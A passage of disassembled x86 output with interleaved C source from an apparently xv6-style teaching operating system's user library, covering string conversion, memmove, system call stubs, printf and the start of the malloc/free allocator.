2ab: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%ebp)
while('0' <= *s && *s <= '9')
2b2: eb 25 jmp 2d9 <atoi+0x34>
n = n*10 + *s++ - '0';
2b4: 8b 55 fc mov -0x4(%ebp),%edx
2b7: 89 d0 mov %edx,%eax
2b9: c1 e0 02 shl $0x2,%eax
2bc: 01 d0 add %edx,%eax
2be: 01 c0 add %eax,%eax
2c0: 89 c1 mov %eax,%ecx
2c2: 8b 45 08 mov 0x8(%ebp),%eax
2c5: 8d 50 01 lea 0x1(%eax),%edx
2c8: 89 55 08 mov %edx,0x8(%ebp)
2cb: 0f b6 00 movzbl (%eax),%eax
2ce: 0f be c0 movsbl %al,%eax
2d1: 01 c8 add %ecx,%eax
2d3: 83 e8 30 sub $0x30,%eax
2d6: 89 45 fc mov %eax,-0x4(%ebp)
atoi(const char *s)
{
int n;
n = 0;
while('0' <= *s && *s <= '9')
2d9: 8b 45 08 mov 0x8(%ebp),%eax
2dc: 0f b6 00 movzbl (%eax),%eax
2df: 3c 2f cmp $0x2f,%al
2e1: 7e 0a jle 2ed <atoi+0x48>
2e3: 8b 45 08 mov 0x8(%ebp),%eax
2e6: 0f b6 00 movzbl (%eax),%eax
2e9: 3c 39 cmp $0x39,%al
2eb: 7e c7 jle 2b4 <atoi+0xf>
n = n*10 + *s++ - '0';
return n;
2ed: 8b 45 fc mov -0x4(%ebp),%eax
}
2f0: c9 leave
2f1: c3 ret
000002f2 <atoo>:
int
atoo(const char *s)
{
2f2: 55 push %ebp
2f3: 89 e5 mov %esp,%ebp
2f5: 83 ec 10 sub $0x10,%esp
int n, sign;
n = 0;
2f8: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%ebp)
while (*s == ' ')
2ff: eb 04 jmp 305 <atoo+0x13>
s++;
301: 83 45 08 01 addl $0x1,0x8(%ebp)
int
atoo(const char *s)
{
int n, sign;
n = 0;
while (*s == ' ')
305: 8b 45 08 mov 0x8(%ebp),%eax
308: 0f b6 00 movzbl (%eax),%eax
30b: 3c 20 cmp $0x20,%al
30d: 74 f2 je 301 <atoo+0xf>
s++;
sign = (*s == '-') ? -1 : 1;
30f: 8b 45 08 mov 0x8(%ebp),%eax
312: 0f b6 00 movzbl (%eax),%eax
315: 3c 2d cmp $0x2d,%al
317: 75 07 jne 320 <atoo+0x2e>
319: b8 ff ff ff ff mov $0xffffffff,%eax
31e: eb 05 jmp 325 <atoo+0x33>
320: b8 01 00 00 00 mov $0x1,%eax
325: 89 45 f8 mov %eax,-0x8(%ebp)
if (*s == '+' || *s == '-')
328: 8b 45 08 mov 0x8(%ebp),%eax
32b: 0f b6 00 movzbl (%eax),%eax
32e: 3c 2b cmp $0x2b,%al
330: 74 0a je 33c <atoo+0x4a>
332: 8b 45 08 mov 0x8(%ebp),%eax
335: 0f b6 00 movzbl (%eax),%eax
338: 3c 2d cmp $0x2d,%al
33a: 75 27 jne 363 <atoo+0x71>
s++;
33c: 83 45 08 01 addl $0x1,0x8(%ebp)
while ('0' <= *s && *s <= '7')
340: eb 21 jmp 363 <atoo+0x71>
n = n*8 + *s++ - '0';
342: 8b 45 fc mov -0x4(%ebp),%eax
345: 8d 0c c5 00 00 00 00 lea 0x0(,%eax,8),%ecx
34c: 8b 45 08 mov 0x8(%ebp),%eax
34f: 8d 50 01 lea 0x1(%eax),%edx
352: 89 55 08 mov %edx,0x8(%ebp)
355: 0f b6 00 movzbl (%eax),%eax
358: 0f be c0 movsbl %al,%eax
35b: 01 c8 add %ecx,%eax
35d: 83 e8 30 sub $0x30,%eax
360: 89 45 fc mov %eax,-0x4(%ebp)
while (*s == ' ')
s++;
sign = (*s == '-') ? -1 : 1;
if (*s == '+' || *s == '-')
s++;
while ('0' <= *s && *s <= '7')
363: 8b 45 08 mov 0x8(%ebp),%eax
366: 0f b6 00 movzbl (%eax),%eax
369: 3c 2f cmp $0x2f,%al
36b: 7e 0a jle 377 <atoo+0x85>
36d: 8b 45 08 mov 0x8(%ebp),%eax
370: 0f b6 00 movzbl (%eax),%eax
373: 3c 37 cmp $0x37,%al
375: 7e cb jle 342 <atoo+0x50>
n = n*8 + *s++ - '0';
return sign*n;
377: 8b 45 f8 mov -0x8(%ebp),%eax
37a: 0f af 45 fc imul -0x4(%ebp),%eax
}
37e: c9 leave
37f: c3 ret
00000380 <memmove>:
void*
memmove(void *vdst, void *vsrc, int n)
{
380: 55 push %ebp
381: 89 e5 mov %esp,%ebp
383: 83 ec 10 sub $0x10,%esp
char *dst, *src;
dst = vdst;
386: 8b 45 08 mov 0x8(%ebp),%eax
389: 89 45 fc mov %eax,-0x4(%ebp)
src = vsrc;
38c: 8b 45 0c mov 0xc(%ebp),%eax
38f: 89 45 f8 mov %eax,-0x8(%ebp)
while(n-- > 0)
392: eb 17 jmp 3ab <memmove+0x2b>
*dst++ = *src++;
394: 8b 45 fc mov -0x4(%ebp),%eax
397: 8d 50 01 lea 0x1(%eax),%edx
39a: 89 55 fc mov %edx,-0x4(%ebp)
39d: 8b 55 f8 mov -0x8(%ebp),%edx
3a0: 8d 4a 01 lea 0x1(%edx),%ecx
3a3: 89 4d f8 mov %ecx,-0x8(%ebp)
3a6: 0f b6 12 movzbl (%edx),%edx
3a9: 88 10 mov %dl,(%eax)
{
char *dst, *src;
dst = vdst;
src = vsrc;
while(n-- > 0)
3ab: 8b 45 10 mov 0x10(%ebp),%eax
3ae: 8d 50 ff lea -0x1(%eax),%edx
3b1: 89 55 10 mov %edx,0x10(%ebp)
3b4: 85 c0 test %eax,%eax
3b6: 7f dc jg 394 <memmove+0x14>
*dst++ = *src++;
return vdst;
3b8: 8b 45 08 mov 0x8(%ebp),%eax
}
3bb: c9 leave
3bc: c3 ret
000003bd <fork>:
name: \
movl $SYS_ ## name, %eax; \
int $T_SYSCALL; \
ret
SYSCALL(fork)
3bd: b8 01 00 00 00 mov $0x1,%eax
3c2: cd 40 int $0x40
3c4: c3 ret
000003c5 <exit>:
SYSCALL(exit)
3c5: b8 02 00 00 00 mov $0x2,%eax
3ca: cd 40 int $0x40
3cc: c3 ret
000003cd <wait>:
SYSCALL(wait)
3cd: b8 03 00 00 00 mov $0x3,%eax
3d2: cd 40 int $0x40
3d4: c3 ret
000003d5 <pipe>:
SYSCALL(pipe)
3d5: b8 04 00 00 00 mov $0x4,%eax
3da: cd 40 int $0x40
3dc: c3 ret
000003dd <read>:
SYSCALL(read)
3dd: b8 05 00 00 00 mov $0x5,%eax
3e2: cd 40 int $0x40
3e4: c3 ret
000003e5 <write>:
SYSCALL(write)
3e5: b8 10 00 00 00 mov $0x10,%eax
3ea: cd 40 int $0x40
3ec: c3 ret
000003ed <close>:
SYSCALL(close)
3ed: b8 15 00 00 00 mov $0x15,%eax
3f2: cd 40 int $0x40
3f4: c3 ret
000003f5 <kill>:
SYSCALL(kill)
3f5: b8 06 00 00 00 mov $0x6,%eax
3fa: cd 40 int $0x40
3fc: c3 ret
000003fd <exec>:
SYSCALL(exec)
3fd: b8 07 00 00 00 mov $0x7,%eax
402: cd 40 int $0x40
404: c3 ret
00000405 <open>:
SYSCALL(open)
405: b8 0f 00 00 00 mov $0xf,%eax
40a: cd 40 int $0x40
40c: c3 ret
0000040d <mknod>:
SYSCALL(mknod)
40d: b8 11 00 00 00 mov $0x11,%eax
412: cd 40 int $0x40
414: c3 ret
00000415 <unlink>:
SYSCALL(unlink)
415: b8 12 00 00 00 mov $0x12,%eax
41a: cd 40 int $0x40
41c: c3 ret
0000041d <fstat>:
SYSCALL(fstat)
41d: b8 08 00 00 00 mov $0x8,%eax
422: cd 40 int $0x40
424: c3 ret
00000425 <link>:
SYSCALL(link)
425: b8 13 00 00 00 mov $0x13,%eax
42a: cd 40 int $0x40
42c: c3 ret
0000042d <mkdir>:
SYSCALL(mkdir)
42d: b8 14 00 00 00 mov $0x14,%eax
432: cd 40 int $0x40
434: c3 ret
00000435 <chdir>:
SYSCALL(chdir)
435: b8 09 00 00 00 mov $0x9,%eax
43a: cd 40 int $0x40
43c: c3 ret
0000043d <dup>:
SYSCALL(dup)
43d: b8 0a 00 00 00 mov $0xa,%eax
442: cd 40 int $0x40
444: c3 ret
00000445 <getpid>:
SYSCALL(getpid)
445: b8 0b 00 00 00 mov $0xb,%eax
44a: cd 40 int $0x40
44c: c3 ret
0000044d <sbrk>:
SYSCALL(sbrk)
44d: b8 0c 00 00 00 mov $0xc,%eax
452: cd 40 int $0x40
454: c3 ret
00000455 <sleep>:
SYSCALL(sleep)
455: b8 0d 00 00 00 mov $0xd,%eax
45a: cd 40 int $0x40
45c: c3 ret
0000045d <uptime>:
SYSCALL(uptime)
45d: b8 0e 00 00 00 mov $0xe,%eax
462: cd 40 int $0x40
464: c3 ret
00000465 <halt>:
SYSCALL(halt)
465: b8 16 00 00 00 mov $0x16,%eax
46a: cd 40 int $0x40
46c: c3 ret
0000046d <date>:
SYSCALL(date)
46d: b8 17 00 00 00 mov $0x17,%eax
472: cd 40 int $0x40
474: c3 ret
00000475 <getuid>:
SYSCALL(getuid)
475: b8 18 00 00 00 mov $0x18,%eax
47a: cd 40 int $0x40
47c: c3 ret
0000047d <getgid>:
SYSCALL(getgid)
47d: b8 19 00 00 00 mov $0x19,%eax
482: cd 40 int $0x40
484: c3 ret
00000485 <getppid>:
SYSCALL(getppid)
485: b8 1a 00 00 00 mov $0x1a,%eax
48a: cd 40 int $0x40
48c: c3 ret
0000048d <setuid>:
SYSCALL(setuid)
48d: b8 1b 00 00 00 mov $0x1b,%eax
492: cd 40 int $0x40
494: c3 ret
00000495 <setgid>:
SYSCALL(setgid)
495: b8 1c 00 00 00 mov $0x1c,%eax
49a: cd 40 int $0x40
49c: c3 ret
0000049d <getprocs>:
SYSCALL(getprocs)
49d: b8 1d 00 00 00 mov $0x1d,%eax
4a2: cd 40 int $0x40
4a4: c3 ret
000004a5 <setpriority>:
SYSCALL(setpriority)
4a5: b8 1e 00 00 00 mov $0x1e,%eax
4aa: cd 40 int $0x40
4ac: c3 ret
000004ad <chmod>:
SYSCALL(chmod)
4ad: b8 1f 00 00 00 mov $0x1f,%eax
4b2: cd 40 int $0x40
4b4: c3 ret
000004b5 <chown>:
SYSCALL(chown)
4b5: b8 20 00 00 00 mov $0x20,%eax
4ba: cd 40 int $0x40
4bc: c3 ret
000004bd <chgrp>:
SYSCALL(chgrp)
4bd: b8 21 00 00 00 mov $0x21,%eax
4c2: cd 40 int $0x40
4c4: c3 ret
000004c5 <putc>:
#include "stat.h"
#include "user.h"
static void
putc(int fd, char c)
{
4c5: 55 push %ebp
4c6: 89 e5 mov %esp,%ebp
4c8: 83 ec 18 sub $0x18,%esp
4cb: 8b 45 0c mov 0xc(%ebp),%eax
4ce: 88 45 f4 mov %al,-0xc(%ebp)
write(fd, &c, 1);
4d1: 83 ec 04 sub $0x4,%esp
4d4: 6a 01 push $0x1
4d6: 8d 45 f4 lea -0xc(%ebp),%eax
4d9: 50 push %eax
4da: ff 75 08 pushl 0x8(%ebp)
4dd: e8 03 ff ff ff call 3e5 <write>
4e2: 83 c4 10 add $0x10,%esp
}
4e5: 90 nop
4e6: c9 leave
4e7: c3 ret
000004e8 <printint>:
static void
printint(int fd, int xx, int base, int sgn)
{
4e8: 55 push %ebp
4e9: 89 e5 mov %esp,%ebp
4eb: 53 push %ebx
4ec: 83 ec 24 sub $0x24,%esp
static char digits[] = "0123456789ABCDEF";
char buf[16];
int i, neg;
uint x;
neg = 0;
4ef: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp)
if(sgn && xx < 0){
4f6: 83 7d 14 00 cmpl $0x0,0x14(%ebp)
4fa: 74 17 je 513 <printint+0x2b>
4fc: 83 7d 0c 00 cmpl $0x0,0xc(%ebp)
500: 79 11 jns 513 <printint+0x2b>
neg = 1;
502: c7 45 f0 01 00 00 00 movl $0x1,-0x10(%ebp)
x = -xx;
509: 8b 45 0c mov 0xc(%ebp),%eax
50c: f7 d8 neg %eax
50e: 89 45 ec mov %eax,-0x14(%ebp)
511: eb 06 jmp 519 <printint+0x31>
} else {
x = xx;
513: 8b 45 0c mov 0xc(%ebp),%eax
516: 89 45 ec mov %eax,-0x14(%ebp)
}
i = 0;
519: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
do{
buf[i++] = digits[x % base];
520: 8b 4d f4 mov -0xc(%ebp),%ecx
523: 8d 41 01 lea 0x1(%ecx),%eax
526: 89 45 f4 mov %eax,-0xc(%ebp)
529: 8b 5d 10 mov 0x10(%ebp),%ebx
52c: 8b 45 ec mov -0x14(%ebp),%eax
52f: ba 00 00 00 00 mov $0x0,%edx
534: f7 f3 div %ebx
536: 89 d0 mov %edx,%eax
538: 0f b6 80 f4 0b 00 00 movzbl 0xbf4(%eax),%eax
53f: 88 44 0d dc mov %al,-0x24(%ebp,%ecx,1)
}while((x /= base) != 0);
543: 8b 5d 10 mov 0x10(%ebp),%ebx
546: 8b 45 ec mov -0x14(%ebp),%eax
549: ba 00 00 00 00 mov $0x0,%edx
54e: f7 f3 div %ebx
550: 89 45 ec mov %eax,-0x14(%ebp)
553: 83 7d ec 00 cmpl $0x0,-0x14(%ebp)
557: 75 c7 jne 520 <printint+0x38>
if(neg)
559: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
55d: 74 2d je 58c <printint+0xa4>
buf[i++] = '-';
55f: 8b 45 f4 mov -0xc(%ebp),%eax
562: 8d 50 01 lea 0x1(%eax),%edx
565: 89 55 f4 mov %edx,-0xc(%ebp)
568: c6 44 05 dc 2d movb $0x2d,-0x24(%ebp,%eax,1)
while(--i >= 0)
56d: eb 1d jmp 58c <printint+0xa4>
putc(fd, buf[i]);
56f: 8d 55 dc lea -0x24(%ebp),%edx
572: 8b 45 f4 mov -0xc(%ebp),%eax
575: 01 d0 add %edx,%eax
577: 0f b6 00 movzbl (%eax),%eax
57a: 0f be c0 movsbl %al,%eax
57d: 83 ec 08 sub $0x8,%esp
580: 50 push %eax
581: ff 75 08 pushl 0x8(%ebp)
584: e8 3c ff ff ff call 4c5 <putc>
589: 83 c4 10 add $0x10,%esp
buf[i++] = digits[x % base];
}while((x /= base) != 0);
if(neg)
buf[i++] = '-';
while(--i >= 0)
58c: 83 6d f4 01 subl $0x1,-0xc(%ebp)
590: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
594: 79 d9 jns 56f <printint+0x87>
putc(fd, buf[i]);
}
596: 90 nop
597: 8b 5d fc mov -0x4(%ebp),%ebx
59a: c9 leave
59b: c3 ret
0000059c <printf>:
// Print to the given fd. Only understands %d, %x, %p, %s.
void
printf(int fd, char *fmt, ...)
{
59c: 55 push %ebp
59d: 89 e5 mov %esp,%ebp
59f: 83 ec 28 sub $0x28,%esp
char *s;
int c, i, state;
uint *ap;
state = 0;
5a2: c7 45 ec 00 00 00 00 movl $0x0,-0x14(%ebp)
ap = (uint*)(void*)&fmt + 1;
5a9: 8d 45 0c lea 0xc(%ebp),%eax
5ac: 83 c0 04 add $0x4,%eax
5af: 89 45 e8 mov %eax,-0x18(%ebp)
for(i = 0; fmt[i]; i++){
5b2: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp)
5b9: e9 59 01 00 00 jmp 717 <printf+0x17b>
c = fmt[i] & 0xff;
5be: 8b 55 0c mov 0xc(%ebp),%edx
5c1: 8b 45 f0 mov -0x10(%ebp),%eax
5c4: 01 d0 add %edx,%eax
5c6: 0f b6 00 movzbl (%eax),%eax
5c9: 0f be c0 movsbl %al,%eax
5cc: 25 ff 00 00 00 and $0xff,%eax
5d1: 89 45 e4 mov %eax,-0x1c(%ebp)
if(state == 0){
5d4: 83 7d ec 00 cmpl $0x0,-0x14(%ebp)
5d8: 75 2c jne 606 <printf+0x6a>
if(c == '%'){
5da: 83 7d e4 25 cmpl $0x25,-0x1c(%ebp)
5de: 75 0c jne 5ec <printf+0x50>
state = '%';
5e0: c7 45 ec 25 00 00 00 movl $0x25,-0x14(%ebp)
5e7: e9 27 01 00 00 jmp 713 <printf+0x177>
} else {
putc(fd, c);
5ec: 8b 45 e4 mov -0x1c(%ebp),%eax
5ef: 0f be c0 movsbl %al,%eax
5f2: 83 ec 08 sub $0x8,%esp
5f5: 50 push %eax
5f6: ff 75 08 pushl 0x8(%ebp)
5f9: e8 c7 fe ff ff call 4c5 <putc>
5fe: 83 c4 10 add $0x10,%esp
601: e9 0d 01 00 00 jmp 713 <printf+0x177>
}
} else if(state == '%'){
606: 83 7d ec 25 cmpl $0x25,-0x14(%ebp)
60a: 0f 85 03 01 00 00 jne 713 <printf+0x177>
if(c == 'd'){
610: 83 7d e4 64 cmpl $0x64,-0x1c(%ebp)
614: 75 1e jne 634 <printf+0x98>
printint(fd, *ap, 10, 1);
616: 8b 45 e8 mov -0x18(%ebp),%eax
619: 8b 00 mov (%eax),%eax
61b: 6a 01 push $0x1
61d: 6a 0a push $0xa
61f: 50 push %eax
620: ff 75 08 pushl 0x8(%ebp)
623: e8 c0 fe ff ff call 4e8 <printint>
628: 83 c4 10 add $0x10,%esp
ap++;
62b: 83 45 e8 04 addl $0x4,-0x18(%ebp)
62f: e9 d8 00 00 00 jmp 70c <printf+0x170>
} else if(c == 'x' || c == 'p'){
634: 83 7d e4 78 cmpl $0x78,-0x1c(%ebp)
638: 74 06 je 640 <printf+0xa4>
63a: 83 7d e4 70 cmpl $0x70,-0x1c(%ebp)
63e: 75 1e jne 65e <printf+0xc2>
printint(fd, *ap, 16, 0);
640: 8b 45 e8 mov -0x18(%ebp),%eax
643: 8b 00 mov (%eax),%eax
645: 6a 00 push $0x0
647: 6a 10 push $0x10
649: 50 push %eax
64a: ff 75 08 pushl 0x8(%ebp)
64d: e8 96 fe ff ff call 4e8 <printint>
652: 83 c4 10 add $0x10,%esp
ap++;
655: 83 45 e8 04 addl $0x4,-0x18(%ebp)
659: e9 ae 00 00 00 jmp 70c <printf+0x170>
} else if(c == 's'){
65e: 83 7d e4 73 cmpl $0x73,-0x1c(%ebp)
662: 75 43 jne 6a7 <printf+0x10b>
s = (char*)*ap;
664: 8b 45 e8 mov -0x18(%ebp),%eax
667: 8b 00 mov (%eax),%eax
669: 89 45 f4 mov %eax,-0xc(%ebp)
ap++;
66c: 83 45 e8 04 addl $0x4,-0x18(%ebp)
if(s == 0)
670: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
674: 75 25 jne 69b <printf+0xff>
s = "(null)";
676: c7 45 f4 82 09 00 00 movl $0x982,-0xc(%ebp)
while(*s != 0){
67d: eb 1c jmp 69b <printf+0xff>
putc(fd, *s);
67f: 8b 45 f4 mov -0xc(%ebp),%eax
682: 0f b6 00 movzbl (%eax),%eax
685: 0f be c0 movsbl %al,%eax
688: 83 ec 08 sub $0x8,%esp
68b: 50 push %eax
68c: ff 75 08 pushl 0x8(%ebp)
68f: e8 31 fe ff ff call 4c5 <putc>
694: 83 c4 10 add $0x10,%esp
s++;
697: 83 45 f4 01 addl $0x1,-0xc(%ebp)
} else if(c == 's'){
s = (char*)*ap;
ap++;
if(s == 0)
s = "(null)";
while(*s != 0){
69b: 8b 45 f4 mov -0xc(%ebp),%eax
69e: 0f b6 00 movzbl (%eax),%eax
6a1: 84 c0 test %al,%al
6a3: 75 da jne 67f <printf+0xe3>
6a5: eb 65 jmp 70c <printf+0x170>
putc(fd, *s);
s++;
}
} else if(c == 'c'){
6a7: 83 7d e4 63 cmpl $0x63,-0x1c(%ebp)
6ab: 75 1d jne 6ca <printf+0x12e>
putc(fd, *ap);
6ad: 8b 45 e8 mov -0x18(%ebp),%eax
6b0: 8b 00 mov (%eax),%eax
6b2: 0f be c0 movsbl %al,%eax
6b5: 83 ec 08 sub $0x8,%esp
6b8: 50 push %eax
6b9: ff 75 08 pushl 0x8(%ebp)
6bc: e8 04 fe ff ff call 4c5 <putc>
6c1: 83 c4 10 add $0x10,%esp
ap++;
6c4: 83 45 e8 04 addl $0x4,-0x18(%ebp)
6c8: eb 42 jmp 70c <printf+0x170>
} else if(c == '%'){
6ca: 83 7d e4 25 cmpl $0x25,-0x1c(%ebp)
6ce: 75 17 jne 6e7 <printf+0x14b>
putc(fd, c);
6d0: 8b 45 e4 mov -0x1c(%ebp),%eax
6d3: 0f be c0 movsbl %al,%eax
6d6: 83 ec 08 sub $0x8,%esp
6d9: 50 push %eax
6da: ff 75 08 pushl 0x8(%ebp)
6dd: e8 e3 fd ff ff call 4c5 <putc>
6e2: 83 c4 10 add $0x10,%esp
6e5: eb 25 jmp 70c <printf+0x170>
} else {
// Unknown % sequence. Print it to draw attention.
putc(fd, '%');
6e7: 83 ec 08 sub $0x8,%esp
6ea: 6a 25 push $0x25
6ec: ff 75 08 pushl 0x8(%ebp)
6ef: e8 d1 fd ff ff call 4c5 <putc>
6f4: 83 c4 10 add $0x10,%esp
putc(fd, c);
6f7: 8b 45 e4 mov -0x1c(%ebp),%eax
6fa: 0f be c0 movsbl %al,%eax
6fd: 83 ec 08 sub $0x8,%esp
700: 50 push %eax
701: ff 75 08 pushl 0x8(%ebp)
704: e8 bc fd ff ff call 4c5 <putc>
709: 83 c4 10 add $0x10,%esp
}
state = 0;
70c: c7 45 ec 00 00 00 00 movl $0x0,-0x14(%ebp)
int c, i, state;
uint *ap;
state = 0;
ap = (uint*)(void*)&fmt + 1;
for(i = 0; fmt[i]; i++){
713: 83 45 f0 01 addl $0x1,-0x10(%ebp)
717: 8b 55 0c mov 0xc(%ebp),%edx
71a: 8b 45 f0 mov -0x10(%ebp),%eax
71d: 01 d0 add %edx,%eax
71f: 0f b6 00 movzbl (%eax),%eax
722: 84 c0 test %al,%al
724: 0f 85 94 fe ff ff jne 5be <printf+0x22>
putc(fd, c);
}
state = 0;
}
}
}
72a: 90 nop
72b: c9 leave
72c: c3 ret
0000072d <free>:
static Header base;
static Header *freep;
void
free(void *ap)
{
72d: 55 push %ebp
72e: 89 e5 mov %esp,%ebp
730: 83 ec 10 sub $0x10,%esp
Header *bp, *p;
bp = (Header*)ap - 1;
733: 8b 45 08 mov 0x8(%ebp),%eax
736: 83 e8 08 sub $0x8,%eax
739: 89 45 f8 mov %eax,-0x8(%ebp)
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
73c: a1 10 0c 00 00 mov 0xc10,%eax
741: 89 45 fc mov %eax,-0x4(%ebp)
744: eb 24 jmp 76a <free+0x3d>
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
746: 8b 45 fc mov -0x4(%ebp),%eax
749: 8b 00 mov (%eax),%eax
74b: 3b 45 fc cmp -0x4(%ebp),%eax
74e: 77 12 ja 762 <free+0x35>
750: 8b 45 f8 mov -0x8(%ebp),%eax
753: 3b 45 fc cmp -0x4(%ebp),%eax
756: 77 24 ja 77c <free+0x4f>
758: 8b 45 fc mov -0x4(%ebp),%eax
75b: 8b 00 mov (%eax),%eax
75d: 3b 45 f8 cmp -0x8(%ebp),%eax
760: 77 1a ja 77c <free+0x4f>
free(void *ap)
{
Header *bp, *p;
bp = (Header*)ap - 1;
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
762: 8b 45 fc mov -0x4(%ebp),%eax
765: 8b 00 mov (%eax),%eax
767: 89 45 fc mov %eax,-0x4(%ebp)
76a: 8b 45 f8 mov -0x8(%ebp),%eax
76d: 3b 45 fc cmp -0x4(%ebp),%eax
770: 76 d4 jbe 746 <free+0x19>
772: 8b 45 fc mov -0x4(%ebp),%eax
775: 8b 00 mov (%eax),%eax
777: 3b 45 f8 cmp -0x8(%ebp),%eax
77a: 76 ca jbe 746 <free+0x19>
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
break;
if(bp + bp->s.size == p->s.ptr){
77c: 8b 45 f8 mov -0x8(%ebp),%eax
77f: 8b 40 04 mov 0x4(%eax),%eax
782: 8d 14 c5 00 00 00 00 lea 0x0(,%eax,8),%edx
789: 8b 45 f8 mov -0x8(%ebp),%eax
78c: 01 c2 add %eax,%edx
78e: 8b 45 fc mov -0x4(%ebp),%eax
791: 8b 00 mov (%eax),%eax
793: 39 c2 cmp %eax,%edx
795: 75 24 jne 7bb <free+0x8e>
bp->s.size += p->s.ptr->s.size;
797: 8b 45 f8 mov -0x8(%ebp),%eax
79a: 8b 50 04 mov 0x4(%eax),%edx
79d: 8b 45 fc mov -0x4(%ebp),%eax
7a0: 8b 00 mov (%eax),%eax
7a2: 8b 40 04 mov 0x4(%eax),%eax
7a5: 01 c2 add %eax,%edx
7a7: 8b 45 f8 mov -0x8(%ebp),%eax
7aa: 89 50 04 mov %edx,0x4(%eax)
bp->s.ptr = p->s.ptr->s.ptr;
7ad: 8b 45 fc mov -0x4(%ebp),%eax
7b0: 8b 00 mov (%eax),%eax
7b2: 8b 10 mov (%eax),%edx
7b4: 8b 45 f8 mov -0x8(%ebp),%eax
7b7: 89 10 mov %edx,(%eax)
7b9: eb 0a jmp 7c5 <free+0x98>
} else
bp->s.ptr = p->s.ptr;
7bb: 8b 45 fc mov -0x4(%ebp),%eax
7be: 8b 10 mov (%eax),%edx
7c0: 8b 45 f8 mov -0x8(%ebp),%eax
7c3: 89 10 mov %edx,(%eax)
if(p + p->s.size == bp){
7c5: 8b 45 fc mov -0x4(%ebp),%eax
7c8: 8b 40 04 mov 0x4(%eax),%eax
7cb: 8d 14 c5 00 00 00 00 lea 0x0(,%eax,8),%edx
7d2: 8b 45 fc mov -0x4(%ebp),%eax
7d5: 01 d0 add %edx,%eax
7d7: 3b 45 f8 cmp -0x8(%ebp),%eax
7da: 75 20 jne 7fc <free+0xcf>
p->s.size += bp->s.size;
7dc: 8b 45 fc mov -0x4(%ebp),%eax
7df: 8b 50 04 mov 0x4(%eax),%edx
7e2: 8b 45 f8 mov -0x8(%ebp),%eax
7e5: 8b 40 04 mov 0x4(%eax),%eax
7e8: 01 c2 add %eax,%edx
7ea: 8b 45 fc mov -0x4(%ebp),%eax
7ed: 89 50 04 mov %edx,0x4(%eax)
p->s.ptr = bp->s.ptr;
7f0: 8b 45 f8 mov -0x8(%ebp),%eax
7f3: 8b 10 mov (%eax),%edx
7f5: 8b 45 fc mov -0x4(%ebp),%eax
7f8: 89 10 mov %edx,(%eax)
7fa: eb 08 jmp 804 <free+0xd7>
} else
p->s.ptr = bp;
7fc: 8b 45 fc mov -0x4(%ebp),%eax
7ff: 8b 55 f8 mov -0x8(%ebp),%edx
802: 89 10 mov %edx,(%eax)
freep = p;
804: 8b 45 fc mov -0x4(%ebp),%eax
807: a3 10 0c 00 00 mov %eax,0xc10
}
80c: 90 nop
80d: c9 leave
80e: c3 ret
0000080f <morecore>:
static Header*
morecore(uint nu)
{
80f: 55 push %ebp
810: 89 e5 mov %esp,%ebp
812: 83 ec 18 sub $0x18,%esp
char *p;
Header *hp;
if(nu < 4096)
815: 81 7d 08 ff 0f 00 00 cmpl $0xfff,0x8(%ebp)
81c: 77 07 ja 825 <morecore+0x16>
nu = 4096;
81e: c7 45 08 00 10 00 00 movl $0x1000,0x8(%ebp)
p = sbrk(nu * sizeof(Header));
825: 8b 45 08 mov 0x8(%ebp),%eax
828: c1 e0 03 shl $0x3,%eax
82b: 83 ec 0c sub $0xc,%esp
82e: 50 push %eax
82f: e8 19 fc ff ff call 44d <sbrk>
834: 83 c4 10 add $0x10,%esp
837: 89 45 f4 mov %eax,-0xc(%ebp)
if(p == (char*)-1)
83a: 83 7d f4 ff cmpl $0xffffffff,-0xc(%ebp)
83e: 75 07 jne 847 <morecore+0x38>
return 0;
840: b8 00 00 00 00 mov $0x0,%eax
845: eb 26 jmp 86d <morecore+0x5e>
hp = (Header*)p;
847: 8b 45 f4 mov -0xc(%ebp),%eax
84a: 89 45 f0 mov %eax,-0x10(%ebp)
hp->s.size = nu;
84d: 8b 45 f0 mov -0x10(%ebp),%eax
850: 8b 55 08 mov 0x8(%ebp),%edx
853: 89 50 04 mov %edx,0x4(%eax)
free((void*)(hp + 1));
856: 8b 45 f0 mov -0x10(%ebp),%eax
859: 83 c0 08 add $0x8,%eax
85c: 83 ec 0c sub $0xc,%esp
85f: 50 push %eax
860: e8 c8 fe ff ff call 72d <free>
865: 83 c4 10 add $0x10,%esp
return freep;
868: a1 10 0c 00 00 mov 0xc10,%eax
}
86d: c9 leave
86e: c3 ret
0000086f <malloc>:
void*
malloc(uint nbytes)
{
86f: 55 push %ebp
870: 89 e5 mov %esp,%ebp
872: 83 ec 18 sub $0x18,%esp
Header *p, *prevp;
uint nunits;
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
875: 8b 45 08 mov 0x8(%ebp),%eax
878: 83 c0 07 add $0x7,%eax
87b: c1 e8 03 shr $0x3,%eax
87e: 83 c0 01 add $0x1,%eax
881: 89 45 ec mov %eax,-0x14(%ebp)
if((prevp = freep) == 0){
884: a1 10 0c 00 00 mov 0xc10,%eax
889: 89 45 f0 mov %eax,-0x10(%ebp)
88c: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
890: 75 23 jne 8b5 <malloc+0x46>
base.s.ptr = freep = prevp = &base;
892: c7 45 f0 08 0c 00 00 movl $0xc08,-0x10(%ebp)
899: 8b 45 f0 mov -0x10(%ebp),%eax
89c: a3 10 0c 00 00 mov %eax,0xc10
8a1: a1 10 0c 00 00 mov 0xc10,%eax
8a6: a3 08 0c 00 00 mov %eax,0xc08
base.s.size = 0;
8ab: c7 05 0c 0c 00 00 00 movl $0x0,0xc0c
8b2: 00 00 00
}
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
8b5: 8b 45 f0 mov -0x10(%ebp),%eax
8b8: 8b 00 mov (%eax),%eax
8ba: 89 45 f4 mov %eax,-0xc(%ebp)
if(p->s.size >= nunits){
8bd: 8b 45 f4 mov -0xc(%ebp),%eax
